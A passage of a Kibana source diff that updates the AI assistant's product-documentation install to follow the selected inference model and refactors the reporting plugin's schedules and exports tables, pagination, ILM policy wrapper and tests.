'@kbn/ai-assistant/src/hooks'; import { KnowledgeBaseState, useKibana } from '@kbn/observability-ai-assistant-plugin/public'; +import { useInstallProductDoc } from '../../../hooks/use_install_product_doc'; export function ChangeKbModel({ knowledgeBase }: { knowledgeBase: UseKnowledgeBaseResult }) { const { overlays } = useKibana().services; + const currentlyDeployedInferenceId = knowledgeBase.status.value?.currentInferenceId; + + const [selectedInferenceId, setSelectedInferenceId] = useState( + currentlyDeployedInferenceId || '' + ); + const [hasLoadedCurrentModel, setHasLoadedCurrentModel] = useState(false); - const [selectedInferenceId, setSelectedInferenceId] = useState(''); const [isUpdatingModel, setIsUpdatingModel] = useState(false); + const { mutateAsync: installProductDoc } = useInstallProductDoc(); const { inferenceEndpoints, isLoading: isLoadingEndpoints, error } = useInferenceEndpoints(); @@ -44,8 +51,7 @@ export function ChangeKbModel({ knowledgeBase }: { knowledgeBase: UseKnowledgeBa knowledgeBase.status?.value?.kbState === KnowledgeBaseState.MODEL_PENDING_ALLOCATION || knowledgeBase.status?.value?.kbState === KnowledgeBaseState.MODEL_PENDING_DEPLOYMENT; - const isSelectedModelCurrentModel = - selectedInferenceId === knowledgeBase.status?.value?.endpoint?.inference_id; + const isSelectedModelCurrentModel = selectedInferenceId === currentlyDeployedInferenceId; const isKnowledgeBaseInLoadingState = knowledgeBase.isInstalling || @@ -55,11 +61,16 @@ export function ChangeKbModel({ knowledgeBase }: { knowledgeBase: UseKnowledgeBa useEffect(() => { if (!hasLoadedCurrentModel && modelOptions?.length && knowledgeBase.status?.value) { - const currentModel = knowledgeBase.status.value.currentInferenceId; - setSelectedInferenceId(currentModel || modelOptions[0].key); + setSelectedInferenceId(currentlyDeployedInferenceId || modelOptions[0].key); setHasLoadedCurrentModel(true); } - }, [hasLoadedCurrentModel, modelOptions, knowledgeBase.status?.value, selectedInferenceId]); + }, [ + hasLoadedCurrentModel, + modelOptions, + knowledgeBase.status?.value, + setSelectedInferenceId, + currentlyDeployedInferenceId, + ]); useEffect(() => { if (isUpdatingModel && !knowledgeBase.isInstalling && !knowledgeBase.isPolling) { @@ -145,6 +156,7 @@ export function ChangeKbModel({ knowledgeBase }: { knowledgeBase: UseKnowledgeBa if (isConfirmed) { setIsUpdatingModel(true); knowledgeBase.install(selectedInferenceId); + installProductDoc(selectedInferenceId); } }); } @@ -156,6 +168,7 @@ export function ChangeKbModel({ knowledgeBase }: { knowledgeBase: UseKnowledgeBa isSelectedModelCurrentModel, overlays, confirmationMessages, + installProductDoc, ]); const superSelectOptions = modelOptions.map((option: ModelOptionsData) => ({ @@ -227,6 +240,7 @@ export function ChangeKbModel({ knowledgeBase }: { knowledgeBase: UseKnowledgeBa isLoadingEndpoints, superSelectOptions, selectedInferenceId, + setSelectedInferenceId, isKnowledgeBaseInLoadingState, doesModelNeedRedeployment, knowledgeBase.status?.value?.kbState, diff --git a/x-pack/platform/plugins/private/observability_ai_assistant_management/public/routes/components/settings_tab/product_doc_entry.tsx b/x-pack/platform/plugins/private/observability_ai_assistant_management/public/routes/components/settings_tab/product_doc_entry.tsx index 668e363d071ee..434a1609fef40 100644 --- a/x-pack/platform/plugins/private/observability_ai_assistant_management/public/routes/components/settings_tab/product_doc_entry.tsx +++ b/x-pack/platform/plugins/private/observability_ai_assistant_management/public/routes/components/settings_tab/product_doc_entry.tsx @@ -15,9 +15,11 @@ import { EuiFlexItem, EuiHealth, EuiLoadingSpinner, + EuiToolTip, } from '@elastic/eui'; import { i18n } from '@kbn/i18n'; import { FormattedMessage } from '@kbn/i18n-react'; +import { useKnowledgeBase } from '@kbn/ai-assistant'; import { useKibana } from '../../../hooks/use_kibana'; import { useGetProductDocStatus } from '../../../hooks/use_get_product_doc_status'; import { useInstallProductDoc } from '../../../hooks/use_install_product_doc'; @@ -26,22 +28,31 @@ import { useUninstallProductDoc } from '../../../hooks/use_uninstall_product_doc export function ProductDocEntry() { const { overlays } = useKibana().services; - const [isInstalled, setInstalled] = useState(true); + const knowledgeBase = useKnowledgeBase(); + const selectedInferenceId: string | undefined = knowledgeBase.status.value?.currentInferenceId; + + const canInstallProductDoc = selectedInferenceId !== undefined; + + const [isInstalled, setInstalled] = useState(false); const [isInstalling, setInstalling] = useState(false); const { mutateAsync: installProductDoc } = useInstallProductDoc(); const { mutateAsync: uninstallProductDoc } = useUninstallProductDoc(); - const { status, isLoading: isStatusLoading } = useGetProductDocStatus(); + const { status, isLoading: isStatusLoading } = useGetProductDocStatus(selectedInferenceId); useEffect(() => { + if (isStatusLoading) return; if (status) { - setInstalled(status.overall === 'installed'); + setInstalled(status.overall === 'installed' && status.inferenceId === selectedInferenceId); } - }, [status]); + }, [selectedInferenceId, status, isStatusLoading]); const onClickInstall = useCallback(() => { + if (!selectedInferenceId) { + throw new Error('Inference ID is required to install product documentation'); + } setInstalling(true); - installProductDoc().then( + installProductDoc(selectedInferenceId).then( () => { setInstalling(false); setInstalled(true); @@ -51,7 +62,7 @@ export function ProductDocEntry() { setInstalled(false); } ); - }, [installProductDoc]); + }, [installProductDoc, selectedInferenceId]); const onClickUninstall = useCallback(() => { overlays @@ -72,18 +83,18 @@ export function ProductDocEntry() { } ) .then((confirmed) => { - if (confirmed) { - uninstallProductDoc().then(() => { + if (confirmed && selectedInferenceId) { + uninstallProductDoc(selectedInferenceId).then(() => { setInstalling(false); setInstalled(false); }); } }); - }, [overlays, uninstallProductDoc]); + }, [overlays, uninstallProductDoc, selectedInferenceId]); const content = useMemo(() => { if (isStatusLoading) { - return <>; + return ; } if (isInstalling) { return ( @@ -124,19 +135,49 @@ export function ProductDocEntry() { ); } + + const installButton = ( + + {i18n.translate( + 'xpack.observabilityAiAssistantManagement.settingsPage.installProductDocButtonLabel', + { defaultMessage: 'Install' } + )} + + ); + return ( - - {i18n.translate( - 'xpack.observabilityAiAssistantManagement.settingsPage.installProductDocButtonLabel', - { defaultMessage: 'Install' } - )} - + {canInstallProductDoc ? ( + installButton + ) : ( + + {installButton} + + )} ); - }, [isInstalled, isInstalling, isStatusLoading, onClickInstall, onClickUninstall]); + }, [ + canInstallProductDoc, + isInstalled, + isInstalling, + isStatusLoading, + onClickInstall, + onClickUninstall, + ]); return ( { basePath: { prepend: prependMock }, }, productDocBase: undefined, + notifications: { + toasts: { + add: jest.fn(), + }, + }, }, }); useKnowledgeBaseMock.mockReturnValue({ diff --git a/x-pack/platform/plugins/private/observability_ai_assistant_management/server/plugin.ts b/x-pack/platform/plugins/private/observability_ai_assistant_management/server/plugin.ts index 3bb40498ac8e1..8690213b645cc 100644 --- a/x-pack/platform/plugins/private/observability_ai_assistant_management/server/plugin.ts +++ b/x-pack/platform/plugins/private/observability_ai_assistant_management/server/plugin.ts @@ -6,7 +6,6 @@ */ import { CoreSetup, CoreStart, Plugin } from '@kbn/core/server'; -import { aiAssistantAnonymizationRules } from '@kbn/observability-ai-assistant-plugin/common'; import { uiSettings } from '../common/ui_settings'; export type ObservabilityPluginSetup = ReturnType; @@ -21,8 +20,7 @@ export class AiAssistantManagementPlugin implements Plugin, plugins: PluginSetup) { - const { [aiAssistantAnonymizationRules]: anonymizationRules, ...restSettings } = uiSettings; - core.uiSettings.register(restSettings); + core.uiSettings.register(uiSettings); return {}; } diff --git a/x-pack/platform/plugins/private/reporting/public/lib/ilm_policy_status_context.tsx b/x-pack/platform/plugins/private/reporting/public/lib/ilm_policy_status_context.tsx index 0733fd276192b..a6ac75b330152 100644 --- a/x-pack/platform/plugins/private/reporting/public/lib/ilm_policy_status_context.tsx +++ b/x-pack/platform/plugins/private/reporting/public/lib/ilm_policy_status_context.tsx @@ -32,17 +32,9 @@ export const IlmPolicyStatusContextProvider: FC> = ({ export type UseIlmPolicyStatusReturn = ReturnType; -export const useIlmPolicyStatus = (isEnabled: boolean): ContextValue => { +export const useIlmPolicyStatus = (): ContextValue => { const ctx = useContext(IlmPolicyStatusContext); if (!ctx) { - if (!isEnabled) { - return { - status: undefined, - isLoading: false, - recheckStatus: () => {}, - }; - } - throw new Error('"useIlmPolicyStatus" can only be used inside of "IlmPolicyStatusContext"'); } return ctx; diff --git a/x-pack/platform/plugins/private/reporting/public/management/__test__/report_listing.test.helpers.tsx b/x-pack/platform/plugins/private/reporting/public/management/__test__/report_listing.test.helpers.tsx index 883a1f19b637c..e670e56fbd333 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/__test__/report_listing.test.helpers.tsx +++ b/x-pack/platform/plugins/private/reporting/public/management/__test__/report_listing.test.helpers.tsx @@ -126,13 +126,7 @@ export const createTestBed = registerTestBed( => { - const query: HttpFetchQuery = { page: index, size }; + const query: HttpFetchQuery = { page, size: perPage }; const res = await http.get<{ page: number; diff --git a/x-pack/platform/plugins/private/reporting/public/management/components/ilm_policy_wrapper.tsx b/x-pack/platform/plugins/private/reporting/public/management/components/ilm_policy_wrapper.tsx new file mode 100644 index 0000000000000..31d26504ff977 --- /dev/null +++ b/x-pack/platform/plugins/private/reporting/public/management/components/ilm_policy_wrapper.tsx @@ -0,0 +1,69 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import React from 'react'; +import { EuiFlexGroup, EuiFlexItem, EuiLoadingSpinner } from '@elastic/eui'; +import { RouteComponentProps } from 'react-router-dom'; +import { ClientConfigType, ReportingAPIClient, useKibana } from '@kbn/reporting-public'; +import { Section } from '../../constants'; + +import { IlmPolicyLink } from './ilm_policy_link'; +import { ReportDiagnostic } from './report_diagnostic'; +import { useIlmPolicyStatus } from '../../lib/ilm_policy_status_context'; +import { MigrateIlmPolicyCallOut } from './migrate_ilm_policy_callout'; + +export interface MatchParams { + section: Section; +} + +export interface ReportingTabsProps { + config: ClientConfigType; + apiClient: ReportingAPIClient; +} + +export const IlmPolicyWrapper: React.FunctionComponent< + Partial & ReportingTabsProps +> = (props) => { + const { config, apiClient } = props; + const { + services: { + application: { capabilities }, + share: { url: urlService }, + notifications, + }, + } = useKibana(); + + const ilmLocator = urlService.locators.get('ILM_LOCATOR_ID'); + const ilmPolicyContextValue = useIlmPolicyStatus(); + const hasIlmPolicy = ilmPolicyContextValue?.status !== 'policy-not-found'; + const showIlmPolicyLink = Boolean(ilmLocator && hasIlmPolicy); + + return ( + <> + + + {capabilities?.management?.data?.index_lifecycle_management && ( + + {ilmPolicyContextValue?.isLoading ? ( + + ) : ( + showIlmPolicyLink && + )} + + )} + + + + + + + + ); +}; + +// eslint-disable-next-line import/no-default-export +export { IlmPolicyWrapper as default }; diff --git a/x-pack/platform/plugins/private/reporting/public/management/components/migrate_ilm_policy_callout/index.tsx b/x-pack/platform/plugins/private/reporting/public/management/components/migrate_ilm_policy_callout/index.tsx index d8b936b55d0df..43c617b2ba972 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/components/migrate_ilm_policy_callout/index.tsx +++ b/x-pack/platform/plugins/private/reporting/public/management/components/migrate_ilm_policy_callout/index.tsx @@ -20,7 +20,7 @@ interface Props { } export const MigrateIlmPolicyCallOut: FunctionComponent = ({ toasts }) => { - const { isLoading, recheckStatus, status } = useIlmPolicyStatus(true); + const { isLoading, recheckStatus, status } = useIlmPolicyStatus(); if (isLoading || !status || status === 'ok') { return null; diff --git a/x-pack/platform/plugins/private/reporting/public/management/components/report_exports_table.tsx b/x-pack/platform/plugins/private/reporting/public/management/components/report_exports_table.tsx index 16e50a38faa2e..96b07d57fd511 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/components/report_exports_table.tsx +++ b/x-pack/platform/plugins/private/reporting/public/management/components/report_exports_table.tsx @@ -37,6 +37,7 @@ type TableColumn = EuiBasicTableColumn; interface State { page: number; + perPage?: number; total: number; jobs: Job[]; selectedJobs: Job[]; @@ -58,6 +59,7 @@ export class ReportExportsTable extends Component { this.state = { page: 0, + perPage: 50, total: 0, jobs: [], selectedJobs: [], @@ -159,9 +161,9 @@ export class ReportExportsTable extends Component { ); }; - private onTableChange = ({ page }: { page: { index: number } }) => { - const { index: pageIndex } = page; - this.setState(() => ({ page: pageIndex }), this.fetchJobs); + private onTableChange = ({ page }: { page: { index: number; size: number } }) => { + const { index: pageIndex, size: perPage } = page; + this.setState(() => ({ page: pageIndex, perPage }), this.fetchJobs); }; private fetchJobs = async () => { @@ -173,7 +175,7 @@ export class ReportExportsTable extends Component { let jobs: Job[]; let total: number; try { - jobs = await this.props.apiClient.list(this.state.page); + jobs = await this.props.apiClient.list(this.state.page, this.state.perPage); total = await this.props.apiClient.total(); this.isInitialJobsFetch = false; @@ -262,7 +264,10 @@ export class ReportExportsTable extends Component { width: tableColumnWidths.title, render: (objectTitle: string, job) => { return ( -
    +
    css({ paddingTop: euiTheme.size.s })} + > this.setState({ selectedJob: job })} @@ -401,9 +406,15 @@ export class ReportExportsTable extends Component { onClick: (job) => this.setState({ selectedJob: job }), }, { - name: i18n.translate('xpack.reporting.exports.table.openInKibanaAppLabel', { - defaultMessage: 'Open Dashboard', - }), + name: (job) => + i18n.translate('xpack.reporting.schedules.table.openDashboard.title', { + defaultMessage: 'Open in {objectType}', + values: { + objectType: job.objectType + ? getDisplayNameFromObjectType(job.objectType) + : 'Kibana', + }, + }), 'data-test-subj': 'reportOpenInKibanaApp', description: i18n.translate( 'xpack.reporting.exports.table.openInKibanaAppDescription', @@ -426,7 +437,7 @@ export class ReportExportsTable extends Component { const pagination = { pageIndex: this.state.page, - pageSize: 10, + pageSize: this.state.perPage, totalItemCount: this.state.total, showPerPageOptions: true, }; diff --git a/x-pack/platform/plugins/private/reporting/public/management/components/report_schedule_indicator.test.tsx b/x-pack/platform/plugins/private/reporting/public/management/components/report_schedule_indicator.test.tsx new file mode 100644 index 0000000000000..6756a0edf44ff --- /dev/null +++ b/x-pack/platform/plugins/private/reporting/public/management/components/report_schedule_indicator.test.tsx @@ -0,0 +1,79 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { render, screen } from '@testing-library/react'; +import React from 'react'; +import { Frequency } from '@kbn/rrule'; +import { ReportScheduleIndicator } from './report_schedule_indicator'; + +describe('ReportScheduleIndicator', () => { + beforeEach(() => { + jest.clearAllMocks(); + }); + + it('renders daily schedule indicator correctly', async () => { + render( + + ); + + expect(await screen.findByTestId('reportScheduleIndicator-3')).toBeInTheDocument(); + expect(await screen.findByText('Daily')).toBeInTheDocument(); + }); + + it('renders weekly schedule indicator correctly', async () => { + render( + + ); + + expect(await screen.findByTestId('reportScheduleIndicator-2')).toBeInTheDocument(); + expect(await screen.findByText('Weekly')).toBeInTheDocument(); + }); + + it('renders monthly schedule indicator correctly', async () => { + render( + + ); + + expect(await screen.findByTestId('reportScheduleIndicator-1')).toBeInTheDocument(); + expect(await screen.findByText('Monthly')).toBeInTheDocument(); + }); + + it('returns null when no frequency do not match', async () => { + render( + + ); + + expect(screen.queryByTestId('reportScheduleIndicator-0')).not.toBeInTheDocument(); + expect(screen.queryByText('Yearly')).not.toBeInTheDocument(); + }); + + it('returns null when no rrule', async () => { + // @ts-expect-error we don't need to provide all props for the test + const res = render(); + + expect(res.container.getElementsByClassName('euiBadge').length).toBe(0); + }); +}); diff --git a/x-pack/platform/plugins/private/reporting/public/management/components/report_schedule_indicator.tsx b/x-pack/platform/plugins/private/reporting/public/management/components/report_schedule_indicator.tsx index ab61c4d5cff58..59c6058bff17f 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/components/report_schedule_indicator.tsx +++ b/x-pack/platform/plugins/private/reporting/public/management/components/report_schedule_indicator.tsx @@ -34,6 +34,10 @@ export const ReportScheduleIndicator: FC = ({ sche const statusText = translations[schedule.rrule.freq]; + if (!statusText) { + return null; + } + return ( { await waitFor(() => { expect(window.open).toHaveBeenCalledWith( - '/app/reportingRedirect?scheduledReportId=scheduled-report-1', + '/app/reportingRedirect?page=1&perPage=50&scheduledReportId=scheduled-report-1', '_blank' ); }); diff --git a/x-pack/platform/plugins/private/reporting/public/management/components/report_schedules_table.tsx b/x-pack/platform/plugins/private/reporting/public/management/components/report_schedules_table.tsx index c27fb2a6aa83c..3fff5972e6d7a 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/components/report_schedules_table.tsx +++ b/x-pack/platform/plugins/private/reporting/public/management/components/report_schedules_table.tsx @@ -7,6 +7,7 @@ import { Fragment, default as React, useCallback, useState } from 'react'; import { + CriteriaWithPagination, EuiAvatar, EuiBasicTable, EuiBasicTableColumn, @@ -24,7 +25,7 @@ import { orderBy } from 'lodash'; import { stringify } from 'query-string'; import { REPORTING_REDIRECT_APP, buildKibanaPath } from '@kbn/reporting-common'; import type { ScheduledReportApiJSON, BaseParamsV2 } from '@kbn/reporting-common/types'; -import { ListingPropsInternal } from '..'; +import { ReportingAPIClient, useKibana } from '@kbn/reporting-public'; import { guessAppIconTypeFromObjectType, getDisplayNameFromObjectType, @@ -40,28 +41,27 @@ import { TruncatedTitle } from './truncated_title'; import { DisableReportConfirmationModal } from './disable_report_confirmation_modal'; interface QueryParams { - index: number; - size: number; + page: number; + perPage: number; } -export const ReportSchedulesTable = (props: ListingPropsInternal) => { - const { http, toasts } = props; +export const ReportSchedulesTable = (props: { apiClient: ReportingAPIClient }) => { + const { apiClient } = props; + const { http } = useKibana().services; + const [selectedReport, setSelectedReport] = useState(null); - const [configFlyOut, setConfigFlyOut] = useState(false); - const [disableFlyOut, setDisableFlyOut] = useState(false); + const [isConfigFlyOutOpen, setIsConfigFlyOutOpen] = useState(false); + const [isDisableModalConfirmationOpen, setIsDisableModalConfirmationOpen] = + useState(false); const [queryParams, setQueryParams] = useState({ - index: 1, - size: 10, + page: 1, + perPage: 50, }); const { data: scheduledList, isLoading } = useGetScheduledList({ - http, ...queryParams, }); - const { mutateAsync: bulkDisableScheduledReports } = useBulkDisable({ - http, - toasts, - }); + const { mutateAsync: bulkDisableScheduledReports } = useBulkDisable(); const sortedList = orderBy(scheduledList?.data || [], ['created_at'], ['desc']); @@ -72,12 +72,12 @@ export const ReportSchedulesTable = (props: ListingPropsInternal) => { defaultMessage: 'Type', }), width: '5%', - render: (_objectType: string) => ( + render: (objectType: string) => ( ), }, @@ -87,15 +87,14 @@ export const ReportSchedulesTable = (props: ListingPropsInternal) => { defaultMessage: 'Title', }), width: '22%', - render: (_title: string, item: ScheduledReportApiJSON) => ( + render: (title: string, item: ScheduledReportApiJSON) => ( { - setSelectedReport(item); - setConfigFlyOut(true); + setReportAndOpenConfigFlyout(item); }} > - + ), mobileOptions: { @@ -113,7 +112,7 @@ export const ReportSchedulesTable = (props: ListingPropsInternal) => { return ( {item.enabled ? i18n.translate('xpack.reporting.schedules.status.active', { @@ -132,8 +131,8 @@ export const ReportSchedulesTable = (props: ListingPropsInternal) => { defaultMessage: 'Schedule', }), width: '10%', - render: (_schedule: ScheduledReportApiJSON['schedule']) => ( - + render: (schedule: ScheduledReportApiJSON['schedule']) => ( + ), }, { @@ -142,8 +141,8 @@ export const ReportSchedulesTable = (props: ListingPropsInternal) => { defaultMessage: 'Next schedule', }), width: '20%', - render: (_nextRun: string, item) => { - return item.enabled ? moment(_nextRun).format('YYYY-MM-DD @ hh:mm A') : '—'; + render: (nextRun: string, item) => { + return item.enabled ? moment(nextRun).format('YYYY-MM-DD @ hh:mm A') : '—'; }, }, { @@ -152,7 +151,7 @@ export const ReportSchedulesTable = (props: ListingPropsInternal) => { name: i18n.translate('xpack.reporting.schedules.tableColumns.fileType', { defaultMessage: 'File Type', }), - render: (_jobtype: string) => prettyPrintJobType(_jobtype), + render: (jobtype: string) => prettyPrintJobType(jobtype), mobileOptions: { show: false, }, @@ -163,7 +162,7 @@ export const ReportSchedulesTable = (props: ListingPropsInternal) => { defaultMessage: 'Created by', }), width: '15%', - render: (_createdBy: string) => { + render: (createdBy: string) => { return ( { responsive={false} > - + - {_createdBy} + {createdBy} @@ -200,24 +199,28 @@ export const ReportSchedulesTable = (props: ListingPropsInternal) => { 'data-test-subj': (item) => `reportViewConfig-${item.id}`, type: 'icon', icon: 'calendar', - onClick: (item) => { - setConfigFlyOut(true); - setSelectedReport(item); - }, + onClick: (item) => setReportAndOpenConfigFlyout(item), }, { - name: i18n.translate('xpack.reporting.schedules.table.openDashboard.title', { - defaultMessage: 'Open Dashboard', - }), - description: i18n.translate('xpack.reporting.schedules.table.openDashboard.description', { - defaultMessage: 'Open associated dashboard', - }), + name: (item) => + i18n.translate('xpack.reporting.schedules.table.openDashboard.title', { + defaultMessage: 'Open in {objectType}', + values: { + objectType: item.payload?.objectType + ? getDisplayNameFromObjectType(item.payload?.objectType) + : 'Kibana', + }, + }), + description: (item) => + i18n.translate('xpack.reporting.schedules.table.openDashboard.description', { + defaultMessage: 'Open the Kibana app where this report was generated.', + }), 'data-test-subj': (item) => `reportOpenDashboard-${item.id}`, type: 'icon', icon: 'dashboardApp', available: (item) => Boolean((item.payload as BaseParamsV2)?.locatorParams), onClick: async (item) => { - const searchParams = stringify({ scheduledReportId: item.id }); + const searchParams = stringify({ scheduledReportId: item.id, ...queryParams }); const path = buildKibanaPath({ basePath: http.basePath.serverBasePath, @@ -245,35 +248,57 @@ export const ReportSchedulesTable = (props: ListingPropsInternal) => { enabled: (item) => item.enabled, type: 'icon', icon: 'cross', - onClick: (item) => { - setSelectedReport(item); - setDisableFlyOut(true); - }, + onClick: (item) => setReportAndOpenDisableModal(item), }, ], }, ]; + const setReportAndOpenConfigFlyout = useCallback( + (report: ScheduledReportApiJSON) => { + setSelectedReport(report); + setIsConfigFlyOutOpen(true); + }, + [setSelectedReport, setIsConfigFlyOutOpen] + ); + + const unSetReportAndCloseConfigFlyout = useCallback(() => { + setSelectedReport(null); + setIsConfigFlyOutOpen(false); + }, [setSelectedReport, setIsConfigFlyOutOpen]); + + const setReportAndOpenDisableModal = useCallback( + (report: ScheduledReportApiJSON) => { + setSelectedReport(report); + setIsDisableModalConfirmationOpen(true); + }, + [setSelectedReport, setIsDisableModalConfirmationOpen] + ); + + const unSetReportAndCloseDisableModal = useCallback(() => { + setSelectedReport(null); + setIsDisableModalConfirmationOpen(false); + }, [setSelectedReport, setIsDisableModalConfirmationOpen]); + const onConfirm = useCallback(() => { if (selectedReport) { bulkDisableScheduledReports({ ids: [selectedReport.id] }); } + unSetReportAndCloseDisableModal(); + }, [selectedReport, bulkDisableScheduledReports, unSetReportAndCloseDisableModal]); - setSelectedReport(null); - setDisableFlyOut(false); - }, [bulkDisableScheduledReports, setSelectedReport, selectedReport]); - - const onCancel = useCallback(() => { - setSelectedReport(null); - setDisableFlyOut(false); - }, [setSelectedReport]); + const onCancel = useCallback( + () => unSetReportAndCloseDisableModal(), + [unSetReportAndCloseDisableModal] + ); const tableOnChangeCallback = useCallback( - ({ page }: { page: QueryParams }) => { + (criteria: CriteriaWithPagination) => { + const { index: page, size: perPage } = criteria.page; setQueryParams((prev) => ({ ...prev, - index: page.index + 1, - size: page.size, + page: page + 1, + perPage, })); }, [setQueryParams] @@ -288,20 +313,19 @@ export const ReportSchedulesTable = (props: ListingPropsInternal) => { columns={tableColumns} loading={isLoading} pagination={{ - pageIndex: queryParams.index - 1, - pageSize: queryParams.size, + pageIndex: queryParams.page - 1, + pageSize: queryParams.perPage, totalItemCount: scheduledList?.total ?? 0, }} noItemsMessage={NO_CREATED_REPORTS_DESCRIPTION} onChange={tableOnChangeCallback} rowProps={() => ({ 'data-test-subj': 'scheduledReportRow' })} /> - {selectedReport && configFlyOut && ( + {selectedReport && isConfigFlyOutOpen && ( { - setSelectedReport(null); - setConfigFlyOut(false); + unSetReportAndCloseConfigFlyout(); }} scheduledReport={transformScheduledReport(selectedReport)} availableReportTypes={[ @@ -312,7 +336,7 @@ export const ReportSchedulesTable = (props: ListingPropsInternal) => { ]} /> )} - {selectedReport && disableFlyOut ? ( + {selectedReport && isDisableModalConfirmationOpen ? ( { return () =>
    {'Render Report Exports Table'}
    ; @@ -127,7 +127,16 @@ describe('Reporting tabs', () => { application, uiSettings: uiSettingsClient, data: dataService, - share: shareService, + share: { + shareService, + url: { + ...sharePluginMock.createStartContract().url, + locators: { + get: () => ilmLocator, + }, + }, + }, + notifications: notificationServiceMock.createStartContract(), }} > @@ -152,7 +161,7 @@ describe('Reporting tabs', () => { }); it('renders exports components', async () => { - await act(async () => render(renderComponent(props))); + render(renderComponent(props)); expect(await screen.findByTestId('reportingTabs-exports')).toBeInTheDocument(); expect(await screen.findByTestId('reportingTabs-schedules')).toBeInTheDocument(); @@ -172,9 +181,7 @@ describe('Reporting tabs', () => { }, }; - await act(async () => { - render(renderComponent({ ...props, ...updatedProps })); - }); + render(renderComponent({ ...props, ...updatedProps })); expect(await screen.findAllByRole('tab')).toHaveLength(2); }); @@ -202,10 +209,8 @@ describe('Reporting tabs', () => { }, }; - await act(async () => { - // @ts-expect-error we don't need to provide all props for the test - render(renderComponent({ ...props, shareService: updatedShareService })); - }); + // @ts-expect-error we don't need to provide all props for the test + render(renderComponent({ ...props, shareService: updatedShareService })); expect(await screen.findByTestId('ilmPolicyLink')).toBeInTheDocument(); }); @@ -233,10 +238,8 @@ describe('Reporting tabs', () => { }; const newConfig = { ...mockConfig, statefulSettings: { enabled: false } }; - await act(async () => { - // @ts-expect-error we don't need to provide all props for the test - render(renderComponent({ ...props, shareService: updatedShareService, config: newConfig })); - }); + // @ts-expect-error we don't need to provide all props for the test + render(renderComponent({ ...props, shareService: updatedShareService, config: newConfig })); expect(screen.queryByTestId('ilmPolicyLink')).not.toBeInTheDocument(); }); @@ -244,9 +247,7 @@ describe('Reporting tabs', () => { describe('Screenshotting Diagnostic', () => { it('shows screenshotting diagnostic link if config is stateful', async () => { - await act(async () => { - render(renderComponent(props)); - }); + render(renderComponent(props)); expect(await screen.findByTestId('screenshotDiagnosticLink')).toBeInTheDocument(); }); @@ -261,14 +262,12 @@ describe('Reporting tabs', () => { }, }; - await act(async () => { - render( - renderComponent({ - ...props, - config: mockNoImageConfig, - }) - ); - }); + render( + renderComponent({ + ...props, + config: mockNoImageConfig, + }) + ); expect(screen.queryByTestId('screenshotDiagnosticLink')).not.toBeInTheDocument(); }); diff --git a/x-pack/platform/plugins/private/reporting/public/management/components/reporting_tabs.tsx b/x-pack/platform/plugins/private/reporting/public/management/components/reporting_tabs.tsx index 67a26e178dc38..1d65b1b6e2c3e 100644 --- a/x-pack/platform/plugins/private/reporting/public/management/components/reporting_tabs.tsx +++ b/x-pack/platform/plugins/private/reporting/public/management/components/reporting_tabs.tsx @@ -5,77 +5,51 @@ * 2.0. */ -import React, { useCallback } from 'react'; -import { - EuiBetaBadge, - EuiFlexGroup, - EuiFlexItem, - EuiLoadingSpinner, - EuiPageTemplate, -} from '@elastic/eui'; +import React, { Suspense, useMemo } from 'react'; +import { EuiBetaBadge, EuiLoadingSpinner, EuiPageTemplate } from '@elastic/eui'; import { i18n } from '@kbn/i18n'; import { Route, Routes } from '@kbn/shared-ux-router'; -import { RouteComponentProps } from 'react-router-dom'; -import { CoreStart, ScopedHistory } from '@kbn/core/public'; -import { ILicense, LicensingPluginStart } from '@kbn/licensing-plugin/public'; -import { DataPublicPluginStart } from '@kbn/data-plugin/public'; -import { - ClientConfigType, - ReportingAPIClient, - useInternalApiClient, - useKibana, -} from '@kbn/reporting-public'; -import { SharePluginStart } from '@kbn/share-plugin/public'; +import { useHistory, useParams } from 'react-router-dom'; +import { ILicense } from '@kbn/licensing-plugin/public'; +import { ClientConfigType, useInternalApiClient, useKibana } from '@kbn/reporting-public'; import { FormattedMessage } from '@kbn/i18n-react'; import useObservable from 'react-use/lib/useObservable'; import { Observable } from 'rxjs'; import { SCHEDULED_REPORT_VALID_LICENSES } from '@kbn/reporting-common'; -import { suspendedComponentWithProps } from './suspended_component_with_props'; import { REPORTING_EXPORTS_PATH, REPORTING_SCHEDULES_PATH, Section } from '../../constants'; import ReportExportsTable from './report_exports_table'; -import { IlmPolicyLink } from './ilm_policy_link'; -import { ReportDiagnostic } from './report_diagnostic'; -import { useIlmPolicyStatus } from '../../lib/ilm_policy_status_context'; -import { MigrateIlmPolicyCallOut } from './migrate_ilm_policy_callout'; import ReportSchedulesTable from './report_schedules_table'; import { LicensePrompt } from './license_prompt'; import { TECH_PREVIEW_DESCRIPTION, TECH_PREVIEW_LABEL } from '../translations'; +import IlmPolicyWrapper from './ilm_policy_wrapper'; export interface MatchParams { section: Section; } export interface ReportingTabsProps { - coreStart: CoreStart; - license$: LicensingPluginStart['license$']; - dataService: DataPublicPluginStart; - shareService: SharePluginStart; config: ClientConfigType; - apiClient: ReportingAPIClient; } -export const ReportingTabs: React.FunctionComponent< - Partial & ReportingTabsProps -> = (props) => { - const { coreStart, license$, shareService, config, ...rest } = props; - const { notifications } = coreStart; - const { section } = rest.match?.params as MatchParams; - const history = rest.history as ScopedHistory; +export const ReportingTabs: React.FunctionComponent<{ config: ClientConfigType }> = ({ + config, +}) => { + const { section } = useParams(); + const history = useHistory(); + const { apiClient } = useInternalApiClient(); const { services: { application: { capabilities, navigateToApp, navigateToUrl }, http, + notifications, + share: { url: urlService }, + license$, }, } = useKibana(); - - const ilmLocator = shareService.url.locators.get('ILM_LOCATOR_ID'); - const ilmPolicyContextValue = useIlmPolicyStatus(config.statefulSettings.enabled); - const hasIlmPolicy = ilmPolicyContextValue?.status !== 'policy-not-found'; - const showIlmPolicyLink = Boolean(ilmLocator && hasIlmPolicy); const license = useObservable(license$ ?? new Observable(), null); - const hasValidLicense = useCallback(() => { + const licensingInfo = useMemo(() => { if (!license) { return { enableLinks: false, showLinks: false }; } @@ -127,73 +101,7 @@ export const ReportingTabs: React.FunctionComponent< }, ]; - 